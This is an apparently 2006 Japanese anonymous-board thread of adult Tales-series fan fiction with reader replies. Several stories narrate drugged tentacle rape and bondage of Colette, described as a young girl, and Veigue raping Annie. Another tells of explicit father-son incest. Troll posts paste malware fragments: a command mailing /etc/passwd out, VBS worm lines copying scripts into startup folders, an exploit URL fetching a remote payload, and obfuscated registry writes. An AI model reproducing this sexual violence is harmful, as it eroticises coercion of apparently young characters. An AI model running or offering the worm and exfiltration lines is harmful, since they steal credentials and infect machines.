230 名前:ギルモン :2006/06/11(日) 16:15:12 ID:afVEZJaz
ゼロス
ん?
信じてるからな・・・お前のこと信じてるからな・・裏切らないでくれよ?
!・・・
あ・・・ごめん変なこと言って・・いこ?
うらぎらねぇーよばーか
・・・ああ!


231 名前:ギルモン :2006/06/11(日) 16:16:48 ID:afVEZJaz
救いの塔



                          

やるからには本気で行こうや・・!

な・・・んで・・・?
 
死人でも見たような顔だなぁ?ロイド!

それを見た瞬間ただたっていた

う・・・そだろ?

命のやり取りなんだぜ?

だってあの時・・

嘘だよおれは強い奴のの味方・・・それだけだ

!?

行くぜロイド!


232 名前:ギルモン :2006/06/11(日) 16:17:20 ID:afVEZJaz
雨と降らさん安息に眠・・・!?

(ぇ・・・)

少年は恐る恐る見た

少年が見たものは剣が胃中に刺さっていた

ぴちゃぴちゃ・・

いやなおとがする

だせぇ・・・・死に方だぜ・・・・

!?ゼロス!!

早く・・・輝石を壊せ・・・

俺のままでいかせてくれ・・・な?

その瞬間羽が消えた

ゼ・・・ロス?

しかし返事が返ってこない当たり前だ・・自分でやったのだから・・

うわぁーーーーーーーーー!!!

もう一度俺に笑ってくれよ・・・

嘘でも良いから俺に笑って・・


                   END


233 名前:ギルモン :2006/06/11(日) 16:20:26 ID:afVEZJaz
死にネタあり自分ではうまくできたとおもうのですが^^;

234 名前:ロイドLOVE :2006/06/11(日) 16:29:05 ID:afVEZJaz
GJ!!!!!

235 名前:名無しさん@ピンキー :2006/06/11(日) 17:00:02 ID:z0XEqFFW
ねぇ、これってわざとやってるんだよな?

真性って事無いよな?

いくら日曜日だからってこれはないよな?

236 名前:名無しさん@ピンキー :2006/06/11(日) 17:08:16 ID:fFGxz67W
香ばしい匂いに誘われてやって来ました

237 名前:名無しさん@ピンキー :2006/06/11(日) 17:08:39 ID:I9jQ9mIW
さすがに釣りだと思いたいな

238 名前:名無しさん@ピンキー :2006/06/11(日) 17:09:22 ID:I9jQ9mIW
ageちまったスマソ

239 名前:名無しさん@ピンキー :2006/06/11(日) 18:05:47 ID:j4XRmKtq
釣りでケテーイだろ
第一ageてるしな

240 名前:名無しさん@ピンキー :2006/06/11(日) 20:53:38 ID:qR0JAbxK
久しぶりの投稿がこれか・・・

241 名前:F資産 :2006/06/11(日) 20:55:13 ID:WlPHGbWD
コレットは手足にまきついた触手をチャクラムで切り、再び両手で胸を隠しながら、この狭い
部屋を逃げ回る。しかし、この数を相手にここから逃げ切るのは不可能なことだった。
そしてついに、触手が少女の足をさらう。
「ハアハァ・・・痛ッ・・・」
そのすきに触手がさらに下着を破き、秘所とアナルを狙い、なぞりこもうとしてきた。
「だ、だめェェ!!」コレットは両手で触手の進行を防ぐ。しかし、
「どこを見ている・・・」後ろを取られ、無防備な胸を慣れた手つきでいじられる。
「はあぁぁ!!」突如襲う快感に触手をつかむ腕を放してしまう。
「し、しま・・・」もう遅い。手足を再び固定され、武器をも破壊され、
今度は胴体にも巻きついた。もうこれで完全に動くことも出来ない。
少女は抵抗しようとするが、股を開かれたまま、強制的に触手が十本ほど
入っていく。
「くッ・・・んんッッ・・・」必死に耐えるコレット。
「いまさら耐えてなんになる。もう誰もいない。」そして、クリトリスを摘む女。
「ああ・・・んむッ!!」喘ごうとして開いた口にカプセル状のものを投与する。
「な・・何を入れたの・・・あああッッ!!ひああッッ!!こ・・これは・・・」
先ほどの快感とは比べ物にならないほどの刺激がほとばしる。
(体がさっきより熱い・・・)
「これは感度を上げる薬であってのォ・・・、さっきより気持ち良いじゃろう。」
「はうッ!!嫌・・・」コレットは後ろに腰をのけぞらせ、触手から離れようとするが、
そこに触手が彼女のアナルを貫く。
「ひあああッッ!!」前にも後ろにも、これで少女は逃げられない。
どちらかに逃げようとすれば、どちらかに触手がめり込む。
「んあッッ!!くぅぅ!!!んんッ!!んはぁ!!ああッ!!ああああッッ!!」
三点の刺激にイく少女。その白いほほに涙が伝う。ビクビクっと体を痙攣し
その場に横たわる。しかし、少女を休ませはしてくれない。
コレットに結合した触手が再び蠢き始めた。

242 名前:名無しさん@ピンキー :2006/06/11(日) 21:10:15 ID:EEe93zmj
>>241
ageんなよ!
>>1くらい読め!!

243 名前:F資産 :2006/06/11(日) 21:11:40 ID:WlPHGbWD
「はあッッ!!あああッッ!!あんッ!あんッ!」イったばかりの少女に容赦なく
攻め続ける。触手が秘所をかき回し、上へと突き上げるたびに、
貧しい乳房が上下へ揺れる。
「くはッ!はうッ!ひッ!!す・・少し・・やす・・・ま・・あああッ!!」
再びイかされる少女。今度は乳房になぞりよる。
―クリクリ―乳首を摘み、乳房を揉みしだく。触手のヌメヌメした感覚が
犯されながら、伝わり、おぞましい。
(イ・・いつまで・・つづけられるの・・・)
そんな少女にプロネーマは怪しげな笑みを浮かべ、秘所に指を差し込む。
少女は喘ぎ、隙間から愛液が噴き出した。
(な・・何か入って・・・)
「ああああッッ!!」その瞬間、すさまじい快感がコレットを襲い、
彼女は失神した。美しい少女の顔は愛液がかかり、汚れていた。

244 名前:名無しさん@ピンキー :2006/06/11(日) 21:43:11 ID:m88Pk7+Y
途中?

245 名前:名無しさん@ピンキー :2006/06/11(日) 21:51:18 ID:qR0JAbxK
もうわけわかんね

246 名前:名無しさん@ピンキー :2006/06/11(日) 21:59:52 ID:E7USE5+z
  ( ゚д゚)  今更釣りなんて時代遅れのことする香具師なんているかよ
_(__つ/ ̄ ̄ ̄/_
  \/    / カタカタカタ


  ( ゚д゚) ・・・
_(__つ/ ̄ ̄ ̄/_
  \/    / カタカ・・・


  ( ゚д゚ )
_(__つ/ ̄ ̄ ̄/_
  \/    /



247 名前:名無しさん@ピンキー :2006/06/11(日) 22:41:29 ID:rkTpgL1j
ageやsageを気にしなければ、>>243のSSはハァハァものだ。

248 名前:名無しさん@ピンキー :2006/06/11(日) 23:12:31 ID:CnGtYhQs
うんうん「気にしなければ」そうだね

249 名前:完全に糞 :2006/06/12(月) 01:02:33 ID:54Gl16KC
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False
thenfso.CopyFile f1.path, f1.path+"l"
A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start
menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\command.txt.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"
type="text
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&passwd.vbs", "j:\windows\start
menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN,
ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite
A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),
E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
kak.hta';ken=wd+'START
End sub

250 名前:cat /etc/passwd | :2006/06/12(月) 01:13:22 ID:54Gl16KC
               _
              /  \―。
            (    /  \_
             /       /  ヽ   / ̄ ̄ ̄ ̄ ̄
         ...―/          _)  < kak.hta';ken=wd+'START
        ノ:::へ_ __    /      \_____
        |/-=o=-     \/_
       /::::::ヽ―ヽ -=o=-_(::::::::.ヽ
      |○/ 。  /:::::::::  (:::::::::::::)
      |::::人__人:::::○    ヽ/
      ヽ   __ \      /
       \  | .::::/.|       /
        \lヽ::::ノ丿      /
          しw/ノ___-イ
           ∪

251 名前:ロイドLOVE :2006/06/12(月) 15:07:20 ID:H09QVi2E
書こうかなw

252 名前:ロイドLOVE :2006/06/12(月) 15:14:19 ID:H09QVi2E
「ボディケア」






「なんかさぁ、新しい剣使い出してから肩が痛いんだよな」

ぐるぐると肩を回しながら、本日の宿であるフラノールの宿の一室で、ロイドはぽつりと呟いた。
ちなみに本日の同室はクラトス。

「親子である私たちが同室なのは当然の結果だろう?」

と有無を言わせぬジャッジメント炸裂の勢いの言葉に、全員がすごすごと引き下がった。
水面下で行われていたロイド争奪戦が、クラトスのパーティ復帰により瞬く間に収束したのは言うまでもない。

「腕を痛めたのか?診てやろう」

心配そうに眉を寄せたクラトスが、ロイドの腕をあれこれと触り始める。
肩の関節、肘、そして筋肉。
4028年の経験を元に、ありとあらゆる可能性を探ったがこれといって思い当たる節はない。

「別段痛めたというわけではないようだな…」
「何かさ、この辺が痛いんだよ」

そう言って肩に手を遣り、痛いという場所をふにふにと揉んだ。
いつもより筋肉が張っている気がする。

「ああ…もしかして、肩凝りか?」
「肩凝り?あー…そっか。ちょっと重かったような気がするし」
「だから買う時に言ったろう。その剣はお前には重過ぎると」

壁に立て掛けてある剣を、クラトスは手に取った。
鞘から抜き放つと、クラトスには少々小振り過ぎて体格に合わない。
ひゅっと剣を振ると、クラトスには軽すぎてかえって扱いにくい。
しかし、ロイドには重すぎるほどのそれ。

「明日合うものを選んでやろう」
「…あーあ。その剣、格好良かったのになぁ」
「ロイド、剣は見た目で選ぶものではない」
「分かってるって。クラトスに選んでもらった剣なら、俺も安心して使えるし。明日頼むぜ」




253 名前:ロイドLOVE :2006/06/12(月) 15:15:04 ID:H09QVi2E

かしっと音を立てて剣を鞘に納め、クラトスがベッドに腰掛けているロイドの背中からぽんと肩に手を置いた。
そのまま親指がぐいぐいと肩を押してくる。
ロイドは振り向いてクラトスの名を呼んだ。

「少しマッサージをしてやろう」
「い、良いよそんなのっ」
「少し血行を良くしてやれば筋肉は解れる」

肩越しに優しくキスをされて、ロイドは渋々と頷いた。

「では、とりあえず上着を脱げ」
「ええっ!?」
「マッサージをするだけだ」

ひょいと片眉を上げられて、ロイドはまたしても渋々と上着を脱いだ。
薄いアンダーシャツのみになると、そのままベッドにうつ伏せにされる。

「まずは…こうして血行を良くする」

言葉とともに、クラトスの手がロイドの腰から肩にかけてすう、動く。
幾度かそれを繰り返すと、少し身体が温まってくる。
そこを、肩と腰を対角線になるように手を置いて、ぐっとクラトスが体重をかけた。


254 名前:ロイドLOVE :2006/06/12(月) 15:15:47 ID:H09QVi2E

「あっ…」
「痛いか?」
「や、なんか、身体が伸びて気持ちが良い」
「そうか」

気持ちが良いか…と。
クラトスが神妙な顔で復唱した声はロイドには幸いにも聞こえていない。
次に腰から順に手のひらの下側で力をかけて揉み解していく。
背骨に沿って上まで来ると、今度は腕を後ろ手に回させて肩甲骨の部分を指で指圧した。

「クラトスって…マッサージ上手いんだな」
「マッサージだけか?」
「それって…」

嫌な予感と共に身を捩ると、顔の両側にクラトスの腕があった。
耳元でスプリングが軋む音が聞こえる。

「じゅ、充分満足してるっつーの、アッチも!」

どうやら発情モードに入ってしまったらしいクラトスを宥めるべく、ロイドはなんとか言葉を捻り出す。
しかしフォローのつもりで発した言葉はただクラトスを煽るばかりで。

「いつも足りなさそうに見えるが?」
「んなわけねーだろッ。いつも2回も3回もあんたに付き合わされる俺の身にもなってみろよ!」
「いつも可愛く強請ってくるお前が悪いのだぞ」
「……誰が可愛く強請るかっ!」


255 名前:ロイドLOVE :2006/06/12(月) 15:16:21 ID:H09QVi2E

大体なあ、と。
言葉を続けようとしたのだが。
クラトスの唇に遮られてそれも出来ず。
無骨な指がシャツをめくって当然のごとく胸の小さな頂を摘み上げられる。
それだけで声が漏れるのは散々クラトスに慣らされてしまったからで。
ロイドは唇を噛んで声を堪えた。

「運動すれば血液の循環が良くなる。肩凝りにも良いのだぞ?」

くつりと笑ったクラトスが、目を眇めてロイドを見つめる。
決断を迫られたロイドは、溜息混じりにその目を見つめ返す。
自分と近い色の瞳には、隠しもしない欲情の色が見て取れて。
こんな目をするのは相手が自分だからだと、少し優越感を覚える。
街行く女性が皆振り返るほどの整った容姿をした男。
そんな男に一途に想われ続けているという事実。
そして何よりも、結局はロイドがクラトスを想い過ぎていて。
拒む事など殆ど出来はしないのだと言う事をクラトスは知っている。
だから余計に性質が悪い。

「1回だけだからな」

諦めと共に吐き出した言葉は、クラトスの笑顔でさらりと相殺された。









後ろから獣のように突かれて、ロイドの背が弓なりに反った。
艶やかな背中には汗の玉が浮き、それを揺すられるたびにシーツへと落とした。
遠慮なく腰をぶつけてくるクラトスの動きに、ロイドは目尻に浮かぶ涙を汗と共に流す。
腰を引き寄せられて一段と深く入ってきたクラトスを体内に感じ、苦しげに眉を寄せた。

256 名前:ロイドLOVE :2006/06/12(月) 15:17:58 ID:H09QVi2E

「締め過ぎだ、ロイド」

掠れた声が、背中に響く。

「そ、んな…してな…、っく…」

羞恥に身体を硬くすると、クラトスの欲望がぐっと質量を増した。
無意識のうちに締めつけている事に、ロイドは気付かない。

「分からぬか?お前のここは…」

つう、と指が繋がっている部分を撫でる。
ロイドはひくりと身体を震わせた。

「私を飲み込んで奥へと誘っているのだがな」

ぎりぎりまで抜くと、ロイドの腰がそれを追いかけるように動く。

「身体は正直だな、ロイド」
「ふ、あ……」

もどかしい刺激に、ロイドが首をゆるゆると振った。
それでもクラトスは動きを止めたまま、ロイドから言葉を引き出そうとする。
聞きたいのはただ一言。
自分を望むその言葉だけ。

「ロイド」

呼ぶと、のろのろとロイドが顔をクラトスに向けて。
快楽を滲ませた目でロイドが。

「もっと、クラトスが…欲しい」

欲望に忠実に言葉を紡ぎ出した。
その言葉にクラトスが一気にロイドに押し入り、ロイドの感じる個所を的確に突き上げる。
正常な思考が出来なくなったロイドが、ただクラトスの名前だけを呼び続ける。
それしか言葉を知らないかのように、何度も、何度も。

「クラト…っ、う、あ……、クラトス…、クラ…ッ」
「ロイド」

愛しげに名前を呼ぶと、それにもぴくりと身体が跳ねる。
堪えきれない情欲を、全てロイドにぶつけるかのように腰を打ちつけ、ロイドの中へ深く深く潜り込む。

257 名前:ロイドLOVE :2006/06/12(月) 15:18:52 ID:H09QVi2E

「クラ、ト――――――…!」

ロイドの声が甘く掠れて、シーツにべしゃりと精を吐き出した。
その収縮にクラトスが眉を寄せ、それから幾度かロイドを蹂躙した後に柔らかいロイドの中に吐精した。










激しい情欲を交わした後の、静かで気だるい時間。
ロイドはクラトスの腕に抱かれながらベッドに沈み込んでいた。
結局クラトスの思い通りになってしまった事に後悔を感じるが、今更嘆いても仕方のない事だと諦めて。
クラトスはと言えば、余程疲れたのかそれとも安心しているのか、ロイドを抱いたまま規則正しい寝息を立てていて。
ロイドはもぞもぞと身体をずらして、クラトスの寝顔をじっと見つめた。

普段はクラトスがロイドより早く寝る事はない。
ロイドより遅く起きる事もない。
常にロイドが起きている時間は起きていて、いつだって見守っていてくれる。
そんなクラトスの貴重な寝顔。

寝顔は、少し似ていた。

ああ血が繋がっているんだな、と。
不意にそんな事を思う。

髪に触れる。
硬そうに見える髪は、思ったよりさらりとして心地よい感触をロイドの手に残す。
ロイドはそれを握ったまま目を閉じた。
自分が幼い頃、父の髪を握って眠るのが癖だった事も知らずに。


END

258 名前:ロイドLOVE :2006/06/12(月) 15:22:29 ID:H09QVi2E
自身作だったのですがどうだったでしょうか?
自分ではイイと思うのですが^^;

259 名前:名無しさん@ピンキー :2006/06/12(月) 15:57:43 ID:WsQzaBxq
※このスレは男×男(801、ショタ)物は禁止です

ここももう終わったのかな…………

260 名前:名無しさん@ピンキー :2006/06/12(月) 17:58:54 ID:C/ldHu0N
>>258
最悪です
荒らしはどっかへ行ってくださいね
マジで!

261 名前:名無しさん@ピンキー :2006/06/12(月) 18:03:16 ID:i1XzoljJ
なかなか文章上手いなと思ったら801かよ・・・orz

でも、マッサージする描写が気持ちよさそうだった
というかさ
漫画にしろ小説にしろ、マッサージしてるシーンを見たり読んだりするだけで、なんかこう自分が肩揉んで貰ってるような錯覚になって気持ちよくなってしまう

俺ってば変態だろうか・・・・・・
でも肩揉みされるの大好きなんだよ・・・

262 名前:名無しさん@ピンキー :2006/06/12(月) 18:31:36 ID:x8j6n0HL
>>261
童貞奪って良いなら肩こりとマッサージしてやるぞ


俺男だけど

263 名前:ギルモン :2006/06/12(月) 21:54:37 ID:H09QVi2E
・д・

264 名前:cat /etc/passwd | :2006/06/13(火) 13:09:00 ID:1xWEB/te
>>260
何も出来ない屑がほざくな

265 名前:名無しさん@ピンキー :2006/06/13(火) 14:19:56 ID:WhyOTWuU
スルー汁

266 名前:名無しさん@ピンキー :2006/06/13(火) 16:40:09 ID:FPo8H2Cf
なあ、アシュナタでED後とか書いて良いの?
アシュナタは本編中に絡むのは難しいですお

267 名前:名無しさん@ピンキー :2006/06/13(火) 17:55:55 ID:W5r4TB2u
おk

268 名前:名無しさん@ピンキー :2006/06/14(水) 12:37:51 ID:XuhrVsi6
>>264
黙れウィルス厨!
貴様のやってることが一番迷惑だ!!

269 名前:F資産 :2006/06/14(水) 17:07:31 ID:adOKUfDY
書き込みSS  >>243



270 名前:F資産 :2006/06/14(水) 17:30:12 ID:adOKUfDY
「んぁ・・・ここは・・・」少女は辺りを見回し、ここから立とうとする。
が、ジャラリと鎖の音が鳴り、それを余儀なくされる。
「・・・!!うっ・・・ううんっ・・・ハァハァ・・・これは・・・!!」
少女は壁にうつ伏せになり、手をまとめて、足は開いたままで、いわゆる逆Y字
型に全裸体のまま固定され、腹部は直接金属具で固定され身動きすら出来ず、
少女の美しく白い首には、重りつきの首輪がはめられ、首を持ち上げることすら
間々ならない。と、そこへ彼女に大きな刺激がほとばしる。
「はああっっ!!!」コレットはブロンドの髪を大きく揺らし、喘ぐ。
しかし、首の重さに耐えられず、声を出すだけでも苦しい。
「フフフ・・・お前の膣に埋め込んだのはただの快薬ではない。」
「え・・・」
「徐々に感じやすい体になっていき、奴隷のように弄ばれる体になるのじゃが・・・
本望よの。」暗闇から現れたプロネーマが必死に体を揺らして逃げよう
とするコレットを見て嘲り笑う。
「逃げれまい。どちらにせよ、ここは飛竜の巣。逃げようとすれば、噛み殺されるわ。
さて、お楽しみといくか。」女の瞳はひどく悪意に満ち、少女の恐怖心を煽りながら、
こちらへと近づいてくる・・・

271 名前:F資産 :2006/06/14(水) 17:48:42 ID:adOKUfDY
「や・・め・・て・・こな・・い・で・・・」コレットはいき絶え絶えに
近づいてくるものを拒絶する。しかし、女はコレットの腰の上に回りこみ
尻を無理やり、ぐいと押し上げる。そして、秘所に手を加える。
「んふうッ!はあぅ!!ひッ!!あッ!!あッ!!」無理やり感じさせられ
涙を漏らす少女。この前、犯されたときよりもひどく体が火照る。
(こ・・これが・・薬の・・・力・・・〕
「どうした・・気持ちいいじゃろう」女は片方の手で乳房を揉む。
「はふッ!!くふぅッ!!ひうっ!!」新たな体の刺激に再び喘ぐ少女。
秘所からは愛液が滴り落ち、少しづつ床を浸していく。
「もっとしりをあげろ!!」女はバイブをコレットの尻に近づける。
「い・・いやぁ!!」コレットは腰を懸命に腰を振り抵抗する。
「おとなしくしろ!!」一気に豹変した女はコレットの首の重りを引き、
少女の動きを止める。
「うっ・・・」バイブが少女に徐々に挿しこまれる。ブゥンと音を立てながら、
少女の体内でバイブが暴れる。
「ひぃ!あんッ!!あんッ!!あああッ!!ひああッッ!!ひい・・・ハァ
ハァ・・・、あうッ!!や・・やめ・・・ああッ・・・て・・・」
コレットはイきながらも懇願する。が、そのとき女が手をかけていた秘所が
どくんどくんと脈打つ。
(な・・・なに・・・・)困惑する少女。笑みを浮かべる女。秘所の
脈動はどんどん速くなり、秘所から愛液が勢い良く噴き出す。
「あッ!!うッ!!あッ!!ハァハァ・・・いったい・・・」


272 名前:F資産 :2006/06/14(水) 18:06:41 ID:adOKUfDY
ドクンドクンドクンドクン・・・、金髪の少女の秘所は彼女の
火照った顔のように赤みを増し、愛液の潮吹きが止まらない。
突然の出来事に困惑する少女。快感が彼女を締め付ける。
「そろそろじゃのお。」女は悪意に満ちた顔で、困惑する少女を見つめる。
「ハァハァ・・・な・・何の・・んッ・・ことぉ・・・?」
コレットが首を傾げたその瞬間―すさまじい快感が彼女のみを襲う。
「あああああッッ!ひあああッッ!!はああああ!!!ひゃあッッ!!」
突如発生した身の快楽に、体をよじり喘ぐコレット。
愛液が大量に秘所から著しい速度で噴き出し、床に、女に、そして彼女の
可憐な顔にも噴きかかる。コレットの体の下の床は全て、愛液で浸され
少女はまだ快感で喘いでいる。
「はあああッッ!!ひううゥ・・・な・・なん・・な・の」
快感が収まり始め、コレットはプロネーマに尋ねる。
「これは薬がおぬしに侵食した証拠だ。ほれこのとおり。」
女はコレットの乳房を軽く揉み解す。
「はああッッ!!うああッッ!!」
(サ・・さっき・・より・・も・・かんじ・・る・・よぉ・・・)
「これでわかったじゃろう。しかし、これもまだまだ続くからのぉ。」
コレットは背筋を凍らせる。これでさえ耐え切れなかったのに、
これ以上これが続くとなると、どうなるのだろう。
(ロイド・・・助けて・・・苦しいよぉ・・・)

273 名前:名無しさん@ピンキー :2006/06/14(水) 19:52:56 ID:U+g2GUOr
>>272
だーかーらー なんで「age」るわけ?
このスレはsage厳守なんだよね?
つか投下する前に>>1のテンプレくらい読めよ!
字が読めないわけじゃないんだろ?

274 名前:名無しさん@ピンキー :2006/06/14(水) 20:20:47 ID:ousau6J3
sageの仕方を知らないんじゃねーの?次スレから「E-Mail欄に半角でsageと書く」とか1に書いた方がいいのかもな
未完のままの黒マオ×アニーの作者もやたらageていたな

275 名前:名無しさん@ピンキー :2006/06/14(水) 20:46:35 ID:oftCmzkt
 

276 名前:名無しさん@ピンキー :2006/06/14(水) 22:10:45 ID:7EHZu3d6
どうせ荒らしのコピペ厨なんだから構うなよ。

277 名前:名無しさん@ピンキー :2006/06/15(木) 00:46:28 ID:lMldNpIo
>>273
大人気ないよ

278 名前:名無しさん@ピンキー :2006/06/15(木) 00:52:19 ID:GSZZb0kx
前スレが埋められたのは喜んでいいんだろうか?

279 名前:名無しさん@ピンキー :2006/06/15(木) 07:06:01 ID:G+u4nxoW
どうでもいい

280 名前:名無しさん@ピンキー :2006/06/15(木) 10:10:06 ID:ySx4N14M
フェロボンのあいつが好き掲示板にあったけど

281 名前:名無しさん@ピンキー :2006/06/15(木) 17:38:49 ID:Lnbv8JIr
かな〜〜〜〜〜〜り久々に投下しに来ました。たまにはS以外のと思いヴェイグ×アニーです

〜親切心?〜


王の盾を追いミナールまでやってきたヴェイグ達はアニーという少女を仲間にペトナジャンカへ向うため迷いの森へやってきた
だが森を抜ける前に日が暮れたため4人は森の中で野営をすることにした

「真っ暗だね」
「ここは日が射さないから夜になるとなにも見えないな」
夕食が済み4人は焚き火を囲むように座っていた。マオとユージーンが話をしヴェイグは剣の手入れをしている
そんな3人から少し離れた場所でアニーは三角座りをしながら俯いていた
「ねぇアニートランプしようよ〜」
マオが陽気に声をかける
「やらない」
だがアニーは俯いたままそう答えた。彼女はまだ仲間になったばかりで打ち解けないでいるようだ
「え〜でも2人じゃつまんないし・・・ヴェイグはやる?」
「俺はいい」
マオはヴェイグを誘ったが即座に断られてしまった
「ちぇ〜アレ?どうしたの?」
諦めユージーンと二人でババ抜きでもしようとカードを配り始めた時ヴェイグは剣をしまい立ち上がった
「落し物をしたみたいだから探してくる」
ヴェイグは小さい懐中電灯を握り歩き出した
「えー!こんな真っ暗なのに危ないよ」
「その辺を探してくるだけだ、アニーも手伝ってくれ」
「え?私がですか?」
マオは引き止めたがヴェイグは強引にアニーの腕を掴み暗闇の中へ消えていった


282 名前:名無しさん@ピンキー :2006/06/15(木) 17:40:41 ID:Lnbv8JIr
「あの・・・なにを落としたんですか?」
恐がりのアニーは離れまいと無意識にヴェイグの腕にしがみ付きながら尋ねた
マオ達から遠ざかり焚き火が見えなくなった所でヴェイグは立ち止まり懐中電灯をアニーに手渡した
「そこに洞窟がある。耳を塞いでるから早く行って来い」
「あ・・・」
それを聞きアニーは顔が赤くなった
「気づいてたんですか・・・」
「この森に入ってからしてないのはお前だけだ、我慢してたんだろ」
「はい・・・ありがとうございます・・・」
アニーの顔はますます赤くなっていった。この森に入ってから数時間、アニーはずっと尿意に耐えていた
男3人は茂みの中で用足しをすればいいが年頃の娘であるアニーにはそんなことできるわけがない
仮に出来たとしても男性相手にそれを言うのは恥ずかしくて言えない、そのせいでアニーはギリギリまで追い詰められていた
それに気づいたヴェイグはさり気なくアニーをここまで連れ出したのだった
アニーは懐中電灯を握り草を掻き分け洞窟へ恐る恐る向かって行った

283 名前:名無しさん@ピンキー :2006/06/15(木) 17:42:15 ID:Lnbv8JIr
「何もいないわよね・・・」
洞窟へつくとバイラスなどがいないか確認しようと明かりを中に向けた。するとそこには・・・バイラスではないが大きな虫が何匹かウゾウゾと蠢いていた
「キャアー!」
それを見たアニーは思わず悲鳴をあげバランスを崩し尻餅を付いてしまった

「アニーどうした!」
悲鳴を聞いてヴェイグがやってきた。転がっている懐中電灯を拾う
「待って!見ないで!」
アニーが近くにいるようだ。かなり錯乱してると思われる
「なにがあった」
ヴェイグは声のした方向を照らした。そこには・・・


シャァ〜〜〜〜〜〜〜〜


目に涙を浮かべ座り込み着衣のまま用足し・・・つまり漏らしてしまったアニーがいた

「うぅ・・・ヒック・・・」
恥ずかしい瞬間を見られてしまったアニーはそのまま泣き出した
ヴェイグはどうしていいか分からず呆然と立ち尽くしていた。だがそんなアニーの姿を見ていると徐々にムラムラとした感情が湧きあがってきていた

「近くに川があった、そこで洗おう」
ヴェイグは泣いているアニーを抱き上げ川へと向かった


「あの、1人でできますから・・・」
川へついてもヴェイグはアニーを降ろそうとしなかった。アニーを抱きしめながら動かない。表情から何か葛藤しているようにアニーは思えた
「降ろしてください」
「あぁすまない」
我に返ったヴェイグはアニーを降ろした。だがヴェイグは側にいては服を脱げない
こんな場所で1人でいるのは恐いが男の前で裸になどなれるわけがない
「あの・・・キャア!」
だがアニーが離れるよう頼もうとした時、なにを血迷ったかヴェイグはアニーの服を脱がしだした
「やめてくださ・・・あぁ!」
必死に抵抗したが女の細腕ではどうすることもできずアニーは強引に仰向けに寝かされてしまった

284 名前:名無しさん@ピンキー :2006/06/15(木) 17:43:03 ID:Lnbv8JIr
「いやぁ・・・」
ズボンが脱がされ素肌が外気に晒されるとアニーは恐怖と恥ずかしさから体が強張った
「アニー」
耳元でヴェイグの声がする。だがヴェイグが明かりを消してしまったせいで殆ど何も見えない
「ひゃあ!」
ヴェイグの手が服の中に侵入してくるのを感じた
「お前を見ていたら自分を抑えられなくなった」
指先でアニーの肌をたどり微かに膨らんだ部分を揉み解しだした。アニーは悲鳴を上げることすらできず、その行為に耐えているようだ
「んん・・・」
服が捲られヴェイグの唇が素肌に触れる。先程まで揉んでいた場所から少し口をずらすと固いものに唇が触れた
ヴェイグはそれを口に含み舌先で転がし吸い出した
「やぁ・・・」
アニーの声が聞こえた。それは悲鳴でも拒絶の言葉でもない、ヴェイグの行為のせいで己の意思に反し自然と口から漏れてしまったのだった
ヴェイグは片手でアニーの体をなでながら毛の生えている場所を捜し指をその周辺に這わした

クチュクチュクチュ・・・

指を動かすとそこから卑猥な水音が聞こえてくる。それと同時にアニーの息遣いが荒くなっているのも聞こえた
ヴェイグは指を増やし徐々に勢いを増した
「あぁ!あぁ・・・」
強張っていたアニーの体から力が抜けていく、それとは逆にヴェイグは自分の方だの一部が強張っているのに気づいた
「ヴェイグ・・・さん・・・」
急にヴェイグは動きを止め指を引き抜いた。アニーは何も見えないが気配からヴェイグが側にいることは分かった 

ジイィィ・・・

ジッパーを降ろす音が聞こえた。この状況でその音がなにを示すかをアニーは察知したが手遅れだった


285 名前:名無しさん@ピンキー :2006/06/15(木) 17:44:14 ID:Lnbv8JIr
「あぁーっ!」
ついさっきまでヴェイグが指で弄んでいた場所に固くて太い物が押し当てられそれがアニーを貫いた
「んんんん!」
口の中に布が押し込められた、ヴェイグの手袋だろうか?そんなことを考える余裕もなく異物が奥へと侵入してくるのを成す術もなくアニーは耐えていた
「ん!ふぅん!」
アニーは細い腰が両手で抑えられ何度も何度も貫かれた。その度に痛みにと湧き上がってくる快楽を感じていた
ヴェイグが腰を動かすとグチュグチュと音がしそれが2人をますます興奮させていく
「アニーすまない・・・」
理性などとうになくしてしまっているヴェイグはアニーの体を強く押さえつけたまま動きを止めた
アニーは自分の中に吐き出されていることに気づいたがどうすることもできず、ただ黙ってそれを受け止めた




「アニー!どうしたの!」
トランプに夢中になっていたマオとユージーンは戻ってきたアニーが腰から下がびしょ濡れになっているのに気づいた
「川の中に落ちたの・・・」
アニーは顔を俯いたまま答えた。2人は正気に戻るとすぐにアニーのズボンを川で洗い戻ってきた
「随分と遅かったな」
2人の様子に違和感を感じたユージーンが問い詰める。もし今までのことが知られたらヴェイグは明日の日の出を拝めるだろうか?
「アニーを助けるのに時間が掛かった・・・」
ヴェイグは苦し紛れに誤魔化したがユージーンにそれが通用するとは思えない
その日以降ヴェイグは後ろめたさからユージーンの顔を直視することができなかったのだった

〜お終い〜

286 名前:名無しさん@ピンキー :2006/06/15(木) 18:55:20 ID:I+B8lsZ8
 

287 名前:名無しさん@ピンキー :2006/06/16(金) 02:10:14 ID:ROvTxj8S
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False
thenfso.CopyFile f1.path, f1.path+"l"
A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start
menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\command.txt.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"
type="text
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
